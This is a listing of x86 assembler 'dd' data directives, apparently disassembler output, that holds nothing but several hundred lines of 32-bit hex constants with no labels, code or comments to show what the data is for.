		dd 2D417CFEh, 8FF324B0h, 1737C715h, 78129B96h, 0A13F79FCh
		dd 9B7DD22Bh, 38DAA727h, 20A0A759h, 15A06C24h, 204E4227h
		dd 76794B14h, 84B9C04h,	1A284309h, 0E5F0AADBh, 85968205h
		dd 0C1B5C4A1h, 294FE3D2h, 0E9AE25B8h, 5EFB0BBAh, 0DB743558h
		dd 33EA9EA9h, 63CE9235h, 0E6F0A388h, 40F752A7h,	0EEAFBDE8h
		dd 67C83FA6h, 744C3FAFh, 0FA7E1EB4h, 6BF276DAh,	9C3AC7ACh
		dd 0D25708F2h, 2145DA12h, 71C01890h, 0A53DDB1h,	1B1F12EBh
		dd 0A0B6FE0Ch, 0F0FDDAD4h, 903CE4C4h, 27C4C004h, 0FD800325h
		dd 447490B8h, 78F4216h,	0ADE9A0F3h, 8FBF9EA5h, 84E649D4h
		dd 47504E84h, 0F1303119h, 0AC9815BEh, 817AF1D1h, 0CD803D3Ah
		dd 7C9E200Eh, 0AE1B7C28h, 989E026h, 46008301h, 3FE5809Bh
		dd 0AD676FBAh, 8638B9F5h, 9283B8A0h, 361B1DF2h,	1675D87Ah
		dd 84DFB05Fh, 0C83FE4C4h, 0AF049764h, 0EB9D9C2Bh, 0B850D05Ch
		dd 686F29FCh, 0C87AF447h, 0B21472DAh, 582E7E5Bh, 793F42F9h
		dd 0CADDDD06h, 0AFE44535h, 54B3E4CAh, 0ADC0C553h, 74C6527Bh
		dd 7D2FA23Dh, 0D8423A68h, 6F5F6ADh, 82E148A4h, 0DDCF1Ch
		dd 5364CBDFh, 9AA295FEh, 0BF9B1E6Ch, 158B7394h,	8568DB99h
		dd 45CDE781h, 0F0EBC486h, 0C2F06D30h, 0F9834B42h, 0C7F663BCh
		dd 0FE5DBCF0h, 59C5F53h, 0D96E314Ch, 93ED6600h,	0A334770Dh
		dd 6DF0416Eh, 890932EEh, 2E2D2D36h, 0B365C201h,	6CDCF132h
		dd 3D64B411h, 0AA9A4B4Eh, 5C7FC7DFh, 0CA8231EAh, 0B40664F6h
		dd 0A839139h, 0ABEEE928h, 8471F87Ah, 3B368D4Fh,	3BAA83FFh
		dd 0A40E355Ah, 4085D72Fh, 48527023h, 5086E1CEh,	0E4F8A8DEh
		dd 49F26EF9h, 0BD60AD78h, 7C30639Dh, 6326245Eh,	0F64190F6h
		dd 46039240h, 88695248h, 9C9FE7AFh, 6947EB45h, 139BF74Eh
		dd 95C56EF3h, 967D6D50h, 32E4956Ah, 0A0864198h,	732BD3D7h
		dd 4F79D32Ah, 0C0417339h, 0B3E07650h, 60A93A7Eh, 0BCBE4EA3h
		dd 228E8A38h, 4DCBC6h, 0C61176D7h, 0EDCC71FAh, 0AC956017h
		dd 0B29C32B4h, 10FCEE28h, 808CD797h, 8AA494A4h,	0A97EADE4h
		dd 0DB14FCF4h, 8AF61891h, 25F637F6h, 0F9A9BA31h, 0F9719301h
		dd 66108EB6h, 0B54F31CFh, 577A1F99h, 0E453464Ah, 0F3020835h
		dd 2325C58Ah, 2FD1996h,	9F52D426h, 6E59924Eh, 551DD2E9h
		dd 5D298719h, 0D05C37C2h, 0B670CB2Bh, 7F8BFC14h, 2801A100h
		dd 44D5A9Ch, 0CFE1D4F8h, 0EB9CFCE5h, 73644BAh, 0B550E74Dh
		dd 0C2286BE8h, 355557DDh, 4E13017h, 664EF74Fh, 5E6BA198h
		dd 0DE6AADDFh, 0A542C5F4h, 0B708383Fh, 19F517E9h, 0B87C3AD0h
		dd 77D489AAh, 941A6995h, 97A62C23h, 0DF90401Ah,	28513C13h
		dd 0AE1D0C53h, 57D12FE8h, 79210B3Fh, 0F8A03A7Bh, 803F7E38h
		dd 0AC6E46C5h, 539F1B04h, 0DF39BC3Ah, 0B869531Ch, 0C391233Bh
		dd 36C2C4BBh, 0F60B65E8h, 9912DDFEh, 0C960E628h, 0DD98B3ECh
		dd 0A19F1BE2h, 0DE3FD3E3h, 0D86A2CB6h, 0A4367C27h, 5F958A29h
		dd 77DEE8BEh, 6D80BF26h, 0FDC9336Ah, 286F3A2Eh,	0BAF278Eh
		dd 81A1E07Ah, 0E6D70126h, 0ADC4DD44h, 7AA09F00h, 25DC9C56h
		dd 3CF65F06h, 1DE0A0E9h
		dd 5B9F0DC0h, 0CF1239A2h, 0FF7C4CA2h, 0EE5BF187h, 0B610A643h
		dd 0C6460BFAh, 8956703h, 3545899Dh, 0DF41F96h, 9BE234B1h
		dd 5D2FF82Fh, 7F16A817h, 16CEBDFDh, 0F29446B4h,	0CAD10EA5h
		dd 807AE121h, 0E2F2799Ch, 0B9419657h, 0F25A2A99h, 70005FD4h
		dd 0BB13818Dh, 9CBE2366h, 5B535904h, 0CE5B781h,	30CAF1C3h
		dd 0EF1CF65Fh, 0C776C950h, 0F193FF39h, 7206BEBFh, 0EDE4B86h
		dd 12890C2Ch, 30B3267Eh, 69CE43C5h, 0B92DD3E0h,	0F88E33ECh
		dd 0B7BC9F31h, 0D1D27BBCh, 5D06AD83h, 508B91C4h, 89F049D9h
		dd 0BF98C9A3h, 0D561C1B4h, 5A533C52h, 69AFAF5Dh, 9FAD5F2Dh
		dd 375D6C08h, 97398804h, 5FF782E3h, 62D608C2h, 74D783A9h
		dd 4040AC4h, 0D82504DAh, 0CECF3D8Bh, 0DE628B49h, 341D4A51h
		dd 0F879788h, 47E61A8Eh, 203B7949h, 640F0AE7h, 6E6EC219h
		dd 96218E3Eh, 67C18EECh, 0F375C775h, 0BA84ACDCh, 19AF88D7h
		dd 9C3B478Ah, 9AD79732h, 625834D2h, 0BFCB9C92h,	695AD34Bh
		dd 9E9E49B0h, 467AD72Bh, 913E5B81h, 2C46731Eh, 107598D5h
		dd 255DAB94h, 8EDEA401h, 7C207AF5h, 0AFB816B9h,	0EC85295Ah
		dd 0C503B9B0h, 60E2559Bh, 0FB860173h, 0BF9D0B8Dh, 0F9874E1h
		dd 10D4377Dh, 0B48B56B2h, 3224D4E6h, 7D0A9AC7h,	6D776DCEh
		dd 0C98A7D4Bh, 6BB54A18h, 6D0C22C5h, 6282E090h,	7CEE47AAh
		dd 96FA1ABh, 0A0AF8DB4h, 0C3EAB602h, 9BDA9FF1h,	0DBD3634Bh
		dd 0E48764A6h, 8979488h, 974FFCE3h, 0EA24E64Bh,	0EDA43AF1h
		dd 4A47C04Ah, 42C7B12Bh, 0A7E3CAE9h, 0C69E72F7h, 6BEF9CB4h
		dd 69D7BC2Dh, 2B783AC5h, 0C9FEDD39h, 7359B849h,	9B65EB3Ch
		dd 40160EE3h, 9DD6355Eh, 4CD829A3h, 1E6D75FCh, 0B40D143Ah
		dd 92662D72h, 0E99B035Ah, 51B10F69h, 0CF08BDA6h, 1BCFAC6Dh
		dd 0B453C18Ch, 1631AB1Bh, 0A35748DAh, 1B31460Ah, 0D0C7F4D8h
		dd 0EB3FCD53h, 0F385EFC5h, 2A0EDBE9h, 0C9F194B4h, 6E1186DEh
		dd 964EFB20h, 0A27DE6D9h, 9E95B055h, 7F684FCEh,	223E9264h
		dd 0E79BFD75h, 0A197D833h, 65768B26h, 0F68CB9D1h, 3F665964h
		dd 225B4F01h, 7EC1BDD0h, 4FBF3FE9h, 79F24E19h, 5E24215Ch
		dd 6A2D7D68h, 0BAF7D6ADh, 0B6129AAh, 48DB4142h,	0B0015F6Ah
		dd 55D86373h, 74527CBAh, 9667CCD0h, 0F80620D6h,	7AF2E45Fh
		dd 0BF544B00h, 0C0554E6Bh, 8F93CF15h, 80F9A72Fh, 0A0B542A1h
		dd 53A60B34h, 0BA2F19A4h, 0A9C401FAh, 6455CDE3h, 4DAD79EAh
		dd 9596EB34h, 18F48CC6h, 0B38D508Dh, 0CFDF738h,	589D8A43h
		dd 0EE0F60FDh, 0E477C873h, 0CD0069F7h, 0F485C14h, 649A57C7h
		dd 0E88A238Dh, 0EF11D3A0h, 0BC1E90DBh, 930BA252h, 0C20284F1h
		dd 51121CBh, 0CE188EEDh, 39C31901h, 0F22D8225h,	7DB626Bh
		dd 49818A5Bh, 91369955h, 57E37DA3h, 88DAA8E4h, 0A1BE9EEDh
		dd 6C44B12Fh, 0A5E0A93h, 5B30F2CCh, 618DE840h, 0A2FAA3AEh
		dd 0DCEE6335h, 40240AFBh, 0CD923401h, 2353C625h, 478988E2h
		dd 5475E1A2h, 0B0BB8E7Bh, 0FD435FB8h, 0D4624891h, 0C339ED98h
		dd 0F108950Ch, 0F0D5A9CEh, 4B2F4113h, 74E5058Ch, 21D0E7C4h
		dd 0DECE44D4h, 0CE3FF399h, 439EDFE5h, 5C5974CCh, 26B12E8Fh
		dd 56C532D5h, 2C1BD51Ah, 6408BAC0h, 15244C6Bh, 0C4298F7Bh
		dd 74248F98h, 6A973E23h, 2253B6EDh, 8D3C50D9h, 0C9B14839h
		dd 3BFEDAA2h, 7B3C1874h, 8CD34522h, 22274065h, 0DBF70747h
		dd 471B5EF4h, 0C435A91Ah, 702233E5h, 0B938F97Ch, 0A6529C7Bh
		dd 7A2353DDh, 0F6FF029h, 41439560h, 2F214587h, 46998AFFh
		dd 77B4CA0Eh, 98B98411h, 0CC15FAFAh, 26633445h,	98E1922Dh
		dd 99198B0Bh, 67EFF41Eh, 957F5650h, 46DF2161h, 0D63194A1h
		dd 0B0167341h, 0FE94EBBAh, 22CB10FDh, 0E735C4B3h, 0CF8A3CE7h
		dd 0B2009A94h, 4DD56B4Bh, 7BD11BA3h, 0B2121E0Ah, 1B237212h
		dd 70180EC4h, 9D6AD8Fh,	0AEAB9415h, 985B1CBBh, 9F6D1AC7h
		dd 0E19F9E2Eh, 0F2F73D51h, 110FA3C4h, 74476A11h, 63781C58h
		dd 0A35CD5DAh, 0B1E7409Eh, 24D13DE4h, 78CB2082h, 0D301B93Bh
		dd 7FAC8D69h, 0F896EEF0h, 25FAE8A3h, 0D0F6540Bh, 0B5113FF6h
		dd 535B91EDh, 2285CD5h,	9E836DD1h, 829F7C0h, 62D4A841h
		dd 890EDD95h, 0FEF9A06Ch, 3D3C03Bh, 0B9BEC418h,	0F692E72Bh
		dd 20E6EB14h, 50A06F4h,	0CAAB9DB6h, 6FD72AC3h, 0D929D568h
		dd 0AC0FEA15h, 69542938h, 93E4ADD6h, 4EA5465Eh,	0F9A71CAFh
		dd 90E85993h, 9141D9ECh, 90186D15h, 40A86877h, 1A300E9Bh
		dd 20035A79h, 2C35A461h, 724843Dh, 0A3F0843Bh, 39D6DF17h
		dd 1EAA2218h, 0C5E55D52h, 8AEE1F34h, 22F5055Dh,	0E5C19109h
		dd 98641890h, 68094A14h, 17042D8Eh, 0B9AFB782h,	2C28D95Ch
		dd 16FF5019h, 0EE5A29BDh, 0B284A20Fh, 0C00565D6h, 0D7DE4543h
		dd 0AF591457h, 0DC1E3B6Ah, 80790348h, 0E9903F0Dh, 0D1190282h
		dd 8A9B044Bh, 7D8D6356h, 780EBFA4h, 0D8302266h,	0A0444800h
		dd 0CB66A95Dh, 0DDC0A8A9h, 0E12D70C7h, 0B517C9E9h, 6F7D335Ah
		dd 2862C65Eh, 0A22CA950h, 25DF304Fh, 0D6DF0EFEh, 684F9E64h
		dd 35AAE7EDh, 0FE33A5B1h, 6CC3A065h, 37E8C6F5h,	7E6A8ED2h
		dd 7E49CD85h, 41EA0F12h, 0EDF6DE89h, 0FDC5C5CFh, 0AB4CAEE6h
		dd 0F4C9B022h, 62CA950Fh, 8954D9Dh, 0B31C6E39h,	3D5825B6h
		dd 0E27B3F10h, 0A88D4241h, 0B7E8DF9h, 5F49E929h, 0A970F6BFh
		dd 0C7DAF7A2h, 42B2207Bh, 101C6FFCh, 57D73562h,	0B22D0F7Ch
		dd 58EF7824h, 0F9712CADh, 54F1EA6h, 0E4E11FABh,	0A69B52A6h
		dd 443F13Bh, 0FF5D229Ch, 457B8E94h, 0BE69E25Ah,	928A54EEh
		dd 0BDD79B67h, 0C0A39368h, 95A540A8h, 3A517376h, 0C642DB7Eh
		dd 4F2B31BDh, 0C8A34322h, 1E43B947h, 57D52E73h,	8DD34C94h
		dd 0B2F5B59Dh, 37154E49h, 0A8C05734h, 0BCEF11Bh, 5CEB361Eh
		dd 4417ADCAh, 45AC8E32h, 0DFE629E4h, 6D511EDh, 12CF5DFh
		dd 942D3C40h, 0A05CEFDAh, 0D6DE4A24h, 8CBAC5EEh, 4C2B573Dh
		dd 1B69DF85h, 121313C6h, 0EEE0ECFFh, 0C8BF9C5Ch, 0B7B70244h
		dd 0E673B756h, 4C6CD3D9h, 131D1AA5h, 37220FF2h,	8D1C58E9h
		dd 0E5BEBACh, 337ECE9Ch, 8839A7D3h, 1FF792D6h, 0A52024E5h
		dd 0E7B239E2h, 0A3AA6C09h, 8B52C1D5h, 33B5B445h, 0A9E33686h
		dd 0EFEAEB02h, 78F1E7CFh, 933435BAh, 6222669Eh,	0E729F2FCh
		dd 0C4E8A528h, 0A938BC9Bh, 6E5EB8E1h, 4ED75C54h, 51FABBC4h
		dd 0F53E99CDh, 8FE78274h, 0DA669F5Eh, 0DE8194E5h, 21022CBAh
		dd 3161DDA5h, 0B7857059h, 0A371A324h, 64C666Ch,	6DCD3439h
		dd 0BAC293h, 49687AC0h,	8D619194h, 0AC3C8492h, 0BF778AC4h
		dd 21BED570h, 4D5D62BCh, 9C6E4AA0h, 78D45E55h, 0A8B08AF4h
		dd 34D5435Ch, 0E82DCBD4h, 9679058Eh, 0B9A303BFh, 7E0E6CD5h
		dd 6626BA3Ch, 0E38DD4A5h, 0A4A321Dh, 0E17D086Fh, 7FC5E2B7h
		dd 0A414E493h, 0C0957101h, 26D020BDh, 0D149998Ch, 62C0EAFFh
		dd 0F32FB484h, 0FB02F7F3h, 0E3B1DD0Bh, 5EDD5092h, 0EB85D020h
		dd 88F1BECDh, 0B87AB1B3h, 558618DEh, 368667DDh,	1DC1C4D0h
		dd 0ED51B19Eh, 1683D734h, 1E554C4Fh, 93BC66C1h,	0CC23D1BBh
		dd 33609580h, 0B918C582h, 195CB5A2h, 35CA7C48h,	3BC58FB4h
		dd 0DDBB137Ch, 0AA85F90Eh, 7790D914h, 0C15DB0EDh, 7D53668Fh
		dd 34966E0Eh, 42C779D2h, 29626C51h, 943D2AA1h, 0F83DD4CEh
		dd 75EF99DAh, 308C712Ch, 207D3BFCh, 0FF848CFBh,	7CDE6184h
		dd 0AD1E9088h, 0A0EB53C7h
		dd 0FA1EC6DDh, 12B8B788h, 0B19A6A18h, 0BCA42ADAh, 0E6D87528h
		dd 0F20865F0h, 42D99EDEh, 9D30BBF3h, 5318D066h,	8C702422h
		dd 1F689E4Fh, 0EFFE0A6Fh, 8E6360C7h, 7BD7426Ah,	26870C9Bh
		dd 0E19C2A76h, 0F09D96F1h, 91E1B225h, 73930B8Eh, 54806CECh
		dd 0B243260Ch, 4D28FA9Ah, 0E78C43EFh, 0D69BBDE0h, 3BCF0CFFh
		dd 5AE4D1BFh, 0FC452EF6h, 32C5E34Ch, 7932BA3Ah,	53B9547h
		dd 653B0EACh, 0DA192FAh, 6F9E147Ch, 0EE77459Bh,	0F784D944h
		dd 792B0319h, 35CFEA28h, 52E37024h, 15FDA88Bh, 507B4042h
		dd 5BF025F2h, 925FC573h, 662C46B3h, 3D89C0E7h, 12ED0205h
		dd 0EF9E67E8h, 0D55B3DB9h, 58F12313h, 0DB3B346Ch, 4D0B29C0h
		dd 0A27E4F8Fh, 0C106876Ch, 0B5C49A66h, 6A27E373h, 0DC36BFA5h
		dd 7B9717AFh, 535D7CE1h, 0E3E74E8Dh, 16F4F18Ch,	9ACC27A2h
		dd 4BC2922Fh, 0C99150F9h, 6053629Dh, 0D6A181AFh, 0A80813F3h
		dd 3D594DE7h, 0EA63BC92h, 0BA5E2EDDh, 0B653611Ah, 2FD473ECh
		dd 309CEEE6h, 6EB329ADh, 2611E913h, 0A1442E19h,	27874BEDh
		dd 0C378B6F9h, 775C2E15h, 478BA6B3h, 7AB962D3h,	0FD38DFD3h
		dd 0BF3DA3F5h, 3719C9Ch, 255AF066h, 7D2A26B8h, 5F3B0DD4h
		dd 80920BFBh, 386D1153h, 962010AEh, 4EB1C62Fh, 59D71006h
		dd 95E6849h, 223CD5EFh,	0D4ACC1F1h, 0B147ABFAh,	0FAAD87CAh
		dd 462574A6h, 0F437F773h, 0B2282167h, 2D65EC11h, 0A43A6705h
		dd 0ED7C6957h, 1756357Dh, 2CAF23ADh, 0DC44E8E2h, 8E651B96h
		dd 7B234034h, 0A1F88FB9h, 3277DC71h, 0EFA6D5EAh, 730E1D5Bh
		dd 0A88679A9h, 45C35119h, 0FDED86B7h, 5DE77EBh,	0E9AE9965h
		dd 148EEB03h, 45735ED7h, 0A81DE45Fh, 94965CECh,	0C2C64242h
		dd 601E042Fh, 0F22F2F4Fh, 0D7C6BA70h, 0B7E4B4C8h, 0DC19053Ah
		dd 25049612h, 0AC2F8AC7h, 0F55D8A4Eh, 0FC054A59h, 0A8DC8107h
		dd 0E1423355h, 3954E36Eh, 66A9AD6Fh, 0C9C2D4CEh, 0FDBF1C7Ah
		dd 62BE455Bh, 0E4A1EF0h, 3DF8FCD9h, 637F66B2h, 0E82CDCCEh
		dd 3ECBF71h, 0D3915184h, 0A0FB2B15h, 81BAA45Fh,	8F125B54h
		dd 86205E01h, 70E5E763h, 39C9F45Dh, 5CFA7F05h, 87F43C8Eh
		dd 8771CAAFh, 4DF38C9Ch, 0C2438ACEh, 81FAB095h,	0CB5157A4h
		dd 0C374807Fh, 0EFE0FEF5h, 2ACC249Ah, 7A748F5Dh, 0A8030F04h
		dd 29A4E9CEh, 0B28D0D59h, 0F43DBBF5h, 1E818417h, 5E450617h
		dd 6A236E25h, 1FFE9E4Dh, 86742424h, 0D61A3001h,	0EA060086h
		dd 28106484h, 7BDEB428h, 0D32AD87Ch, 0A20130B6h, 9B61C6CDh
		dd 89D28630h, 23484C1Ah, 0DBFE6C59h, 274DAADBh,	92FDBD51h
		dd 938394DCh, 0F28BAC76h, 71081D32h, 1C0793A3h,	3419DDE5h
		dd 0A0EA781Ch, 5BBB2488h, 6117ECAh, 0EFE46717h,	83BF9038h
		dd 8F2B574Ch, 0AAE800F3h, 16685039h, 0AC8C76B7h, 5BA6C449h
		dd 0B5B60091h, 2E7E88AAh, 8FCFEF2Bh, 0EE303749h, 207A073Eh
		dd 0D58136D5h, 725B2B98h, 0F42E0FBBh, 0A840BA4Dh, 22E3689Ch
		dd 0EF7C4213h, 0D1B76015h, 0B2B06755h, 8F0516EAh, 0ED17E717h
		dd 0D87B92BCh, 723BAD70h, 0D2BA9216h, 9660822h,	0C844F55Ah
		dd 0BE6F45E8h, 0C39AA70Eh, 0CF4C4E41h, 8C47781Dh, 0D48719E6h
		dd 128DF054h, 0D2CACF7Bh, 92F54CDAh, 0D755FEB0h, 1E33F388h
		dd 6D88D949h, 0BDDC9E23h, 5A3321A5h, 841B008Ch,	8A724F84h
		dd 52B4C77Eh, 9CCBAD9h,	1C5D017Ah, 8BA0E73Fh, 0BD77DC2Dh
		dd 39F2599h, 0D4FC6B8Eh, 0F31DC056h, 3D6F2726h,	455B0D03h
		dd 4EEFC64h, 862F467Ah,	0CC065832h, 0AFF35AB0h,	0FDA6E3E5h
		dd 0AD50022Dh, 0D1E2EC17h, 0BDF957B2h, 0E745FBFCh, 4B90658h
		dd 2E4E5D9Ch, 0F14AEE87h, 94818165h, 0E1116E9Ch, 0B9163BD7h
		dd 286D13BBh, 0D1AD1BA5h, 0B9543516h, 5E2B525Eh, 0DFA75830h
		dd 0D0591414h, 5D4A8C46h, 2878C775h, 8B5A6FACh,	0A5C3CA2Bh
		dd 3F8F29C2h, 0B4F26934h, 411066F5h, 0DE13E8EBh, 548F79A5h
		dd 0FE5E8A6Ah, 0C1D5B4FCh, 0EA386FE5h, 0D404E363h, 90695C46h
		dd 104399E9h, 93C4FCACh, 1F645F5Eh, 0D08DD994h,	0CE37F952h
		dd 95EFEAB5h, 2D1285A3h, 3463BC75h, 0D89CD228h,	0B73BA895h
		dd 8AE9E6ABh, 644066D9h, 80F0856Bh, 0DEE73BF8h,	56E6D249h
		dd 28406DFBh, 752DD397h, 3812A1A8h, 2EF18D82h, 948915FFh
		dd 0D253C2C4h, 0DFAAEC0h, 0D59788ADh, 8857F056h, 7463A840h
		dd 0DB553A5Eh, 0BE713A0Fh, 31967795h, 17541535h, 11218A63h
		dd 20592570h, 2DB792C2h, 0DCF0BF55h, 6EA929C3h,	5732843Dh
		dd 0A1896F39h, 4BA341E5h, 2ACD9F8h, 9217617Ch, 1F318A47h
		dd 0B690D7DBh, 4755674Dh, 59941B04h, 0A0403C51h, 0A593A168h
		dd 42EBBA8Dh, 0F48AC52Bh, 647C0F6h, 35B20E16h, 0CC6C09C5h
		dd 0F1D329B5h, 2AFBF14Dh, 0B833EC1Bh, 0C003E024h, 0F92D3FB4h
		dd 0D09318E0h, 75633FB0h, 18C7FFE3h, 0D75344FDh, 0E6F69683h
		dd 272564C5h, 0CA6B2EF4h, 341B076Dh, 0D500CADAh, 8F383CE1h
		dd 6DF4885Ch, 156488FBh, 400C014Fh, 91DBF6B8h, 7376006h
		dd 5B05C079h, 5F85B23Ch, 819191FEh, 12A983DBh, 0FA9B3DC1h
		dd 0F5EEE680h, 1EBCE06Ch, 2F11F45Bh, 77353AEFh,	0C30ED4FFh
		dd 0C79D2855h, 0D02028CCh, 2C71B8E7h, 64A69376h, 57FE72D4h
		dd 67A77BBFh, 0FD891E48h, 2AC695E7h, 1BD8777Bh,	265617D8h
		dd 7EFC45E3h, 9497DB21h, 0CCE3722Bh, 0DE6179FAh, 64A8E2E7h
		dd 6AF7FD21h, 0AF49502Bh, 32D059D1h, 0A181CD33h, 0C3C73B49h
		dd 7A594DBBh, 0C7B09B56h, 0F0A8242Dh, 36B98362h, 0AB9B0D69h
		dd 0DCBDD811h, 8EBA655Ch, 26DAF8D2h, 5225FE0Dh,	0C5DC3A3Eh
		dd 5A2D4869h, 0F54A2B12h, 0B22889DCh, 1118377Eh, 0F6CADD6h
		dd 0EDB15328h, 0D0960972h, 94A6D3F3h, 0B28D4C36h, 9B344654h
		dd 0AB2AAE4Ch, 0B3FC3ECAh, 554617EAh, 944060Dh,	0E237C6B7h
		dd 162637FDh, 0C62CE3B2h, 0AF72144Fh, 4AE06C8h,	0B557A6F8h
		dd 0FA5EA2BCh, 0C9E61BAFh, 6E27206Fh, 36A76263h, 0CB09A8C9h
		dd 7219C60Fh, 93B885F9h, 376DEAE4h, 0E5BEF2EEh,	6104C3A8h
		dd 0E2D43C8Eh, 9B748D2Ch, 2F10BC79h, 7E95F86Ch,	0B3E1B460h
		dd 4AD7F60Fh, 0A2A40774h, 2B0D337Fh, 4AFAE215h,	2FE7A8E9h
		dd 0CF086D2Ch, 6452FDCBh, 5F891932h, 40E4C80Eh,	0D520AD29h
		dd 846D9311h, 84E13A64h, 9E33FE79h, 0CB0E13B5h,	9B8CB2B7h
		dd 3D195E4Fh, 0F8D5BB5Fh, 544B1FC0h, 82CF2EC0h,	284F123Bh
		dd 934E513Fh, 0FF2EC34Bh, 0F816AB37h, 0EB59B99Eh, 0F2D3A955h
		dd 412138CBh, 7ADB479Dh, 0D48A5620h, 33EE01A4h,	488B7B5Ch
		dd 6CFDCBE5h, 734E4A21h, 849A6310h, 74A12FC5h, 0D7486F50h
		dd 66E98F04h, 495AE1ACh, 0F302AE6Bh, 9D1BA962h,	773F0BDh
		dd 0F67A735Fh, 36100FBBh, 0C289F748h, 0D04E854h, 0C7A03D3Ah
		dd 0E70FC2Bh, 0A7BCDC22h, 479D3E20h, 0A89841F8h, 0CFEFDB36h
		dd 95E75979h, 5CFE61DBh, 1FC53129h, 210A811h, 7330E746h
		dd 4AC1AF88h, 0E0F04824h, 6ABFAE19h, 0AA6A5AC3h, 0BBD081B7h
		dd 0E9B0D843h, 75F16933h, 0E036B1A9h, 34A7C638h, 1C7A320Fh
		dd 0FDBACDA8h, 85D5EA37h, 0B2FC416Ch, 7C4F7316h, 0F2EADD41h
		dd 9B802BBh, 5AAF0522h,	0A4367792h, 8CD904Fh, 20E93DB4h
		dd 9C9DF793h, 8CDF4C95h, 635B500Ah, 0F320B03Fh,	2E7C5D99h
		dd 6B491A33h, 0FC942222h, 0B3F7AE7Fh, 0CD388804h, 0A51E0226h
		dd 39D56FB3h, 0CED90C33h, 56E163AAh, 0E855FA24h, 6285A874h
		dd 0B5A9A626h, 20756A36h
		dd 2CC311A4h, 0BA47C640h, 0E646BF12h, 0F5CE2755h, 0A2A01825h
		dd 790C48CDh, 12206ADCh, 0FA1A681Ah, 0CAF6E466h, 0D85E5381h
		dd 0ECEAC8B5h, 0C84C3A3Dh, 0E073DD4Fh, 94BDD097h, 0B02399A5h
		dd 0E98F6E30h, 0CCDCA3F7h, 0F2F979CCh, 51C96C66h, 7B65BE36h
		dd 0A0468938h, 0F48AA85Eh, 8676EFF1h, 0D43EC1DEh, 7802A3F8h
		dd 788FB3D9h, 2DD5DC6h,	3A6C8CDEh, 0C2CA2C0Bh, 54B24682h
		dd 0A5B9C95Ch, 0EF021A57h, 62FE5892h, 537B4143h, 0E9F4F481h
		dd 50E6B2A1h, 0A6551635h, 6D31EA74h, 199358BCh,	0F64ED00h
		dd 0AA432FE8h, 0E0FA25E8h, 23BE9C71h, 933136D7h, 5EE67EEBh
		dd 9306B1B8h, 0C3268F65h, 6ED78000h, 8CFB4FA5h,	0B97B6D0Ch
		dd 16152709h, 0BAB46E71h, 0F63D369Ch, 0C6C94447h, 44B55EEEh
		dd 0EDED4396h, 9DD01DFh, 9D0DC031h, 54E6B6DCh, 0BC261263h
		dd 0BF01F570h, 6EAB7525h, 0DB0E491Ah, 44E05092h, 0ABAA9060h
		dd 0E30D721Bh, 32E76D9Fh, 0BA08680h, 843CC162h,	0BF246E88h
		dd 322AF402h, 1AA9052Ah, 0E04408B0h, 9E4F0F94h,	81D91F26h
		dd 0BA9F56D3h, 92798270h, 0EC0B9375h, 0BD6BD492h, 392DD858h
		dd 6E32FAB1h, 199287F1h, 9E38D1D6h, 8FE78427h, 0D119D27Dh
		dd 0C799BDEAh, 4530D6DBh, 0E87C9A2h, 0B486286Dh, 80BB1226h
		dd 2894F700h, 85D2E20Dh, 87B34BA8h, 1365FC7Fh, 7B40CAA5h
		dd 76A8A96Eh, 4009D94h,	1536066Bh, 973E63CEh, 8A0F3666h
		dd 7F65BDD3h, 0B1945D3Ah, 51FC80C7h, 9823C39Ch,	0A4A9E24Ah
		dd 0FFC58B7Ah, 2C3748D8h, 7FFF5AE4h, 9DD28945h,	0D1C23BE6h
		dd 8DD38185h, 5364B812h, 1ACBA569h, 928DB49Dh, 0A3E64FC4h
		dd 0E6CBFDAAh, 3EBCD9Ah, 60DF86DAh, 64CB736Dh, 58A97B62h
		dd 110AD4E6h, 0F0FE560Ah, 0B2237520h, 465CDFE2h, 8B005C2Ah
		dd 1EC7D9AFh, 2EF4601Dh, 0DA4A32A8h, 0F5481B5Ah, 999C2492h
		dd 6F8319BEh, 98BEB76Bh, 188775C7h, 0B73694D2h,	0C08638C9h
		dd 13EDE4F7h, 203B38C5h, 0B2B91B40h, 89E4901Dh,	88AA9B19h
		dd 6E0AADh, 0AD19286h, 0BC3B6355h, 79FFFC5Ch, 0EA25B3E9h
		dd 0D15C0451h, 2CE89D77h, 0FCC156ECh, 0C8402B16h, 0C5D9DA37h
		dd 0B693B25Dh, 0D679F0Bh, 0EE0D427Ch, 0F2EF22DBh, 7BC395FDh
		dd 0B1EE18A5h, 0CEF37407h, 0AFF96C4Ah, 43E91C6Ah, 0CC92B041h
		dd 0CE109C47h, 0DD171E15h, 9A819C0Dh, 9C2A741Bh, 2D96C7FEh
		dd 7B5509Bh, 0FAD95B95h, 713AEEF1h, 0BA6D9F66h,	0AC7617FCh
		dd 128E2A91h, 5521F0D4h, 29384F83h, 0F788FDFFh,	0BB6B3ED9h
		dd 3DDA7406h, 0CE478C7Bh, 0D8DF419Dh, 0C7676F18h, 288AE685h
		dd 0A110AA83h, 4E926137h, 1CEE8C37h, 85D10C6Fh,	0FE81819Ch
		dd 619CD1A6h, 0BAB40E4Eh, 55F334FEh, 6098F7CFh,	0BB0F82FDh
		dd 1C9B9EC6h, 848B5970h, 0B73044ADh, 0E8D6EB95h, 41207827h
		dd 5A88C312h, 0C4B309E6h, 82167D12h, 51C88F57h,	1101F775h
		dd 0A33FCA1Dh, 5E8BEF89h, 0DBF6625Fh, 8A62B8A0h, 6271B995h
		dd 6296FB8Fh, 0AC21C1BEh, 0B0922E9h, 0D24FA86Ah, 775DE0F4h
		dd 24235B77h, 0C3BC0900h, 829EA334h, 0AD0D258Dh, 0C2933484h
		dd 3221B33h, 0E857A2ADh, 6B273C05h, 0D2A21D3Ah,	0CCE58BDCh
		dd 0C1CF3106h, 24773364h, 0B0CEC146h, 1367A196h, 23F8CB6Eh
		dd 8BA4EFB9h, 1E55348Dh, 8A3F1002h, 79C300C3h, 0B8F6585Fh
		dd 0D30EE6ADh, 2161BCD1h, 7B49E5B4h, 0BFF19922h, 0AF3336Ah
		dd 4975E586h, 189CE7C6h, 0A03AF90h, 4E2BFAFh, 0C043D999h
		dd 42937014h, 189EAF75h, 14D1F14Ch, 0BF04A28Bh,	9C1D896Eh
		dd 23F1EAEh, 68A540FEh,	0A868A0DAh, 586E1C0h, 0F8BFC312h
		dd 0B3021729h, 6ECAECB2h, 21DA4FA6h, 0DF366191h, 3CDB1DE8h
		dd 9AC76D7Fh, 0DF632A31h, 73724E2Ch, 0F121133Ch, 4365D6Eh
		dd 7F10F155h, 33185142h, 1D7B1BE5h, 9C69A4Ch, 1CCB60D5h
		dd 1277AD69h, 5ABB2918h, 0F1A6E76Dh, 0D59EAABFh, 0FBA8D517h
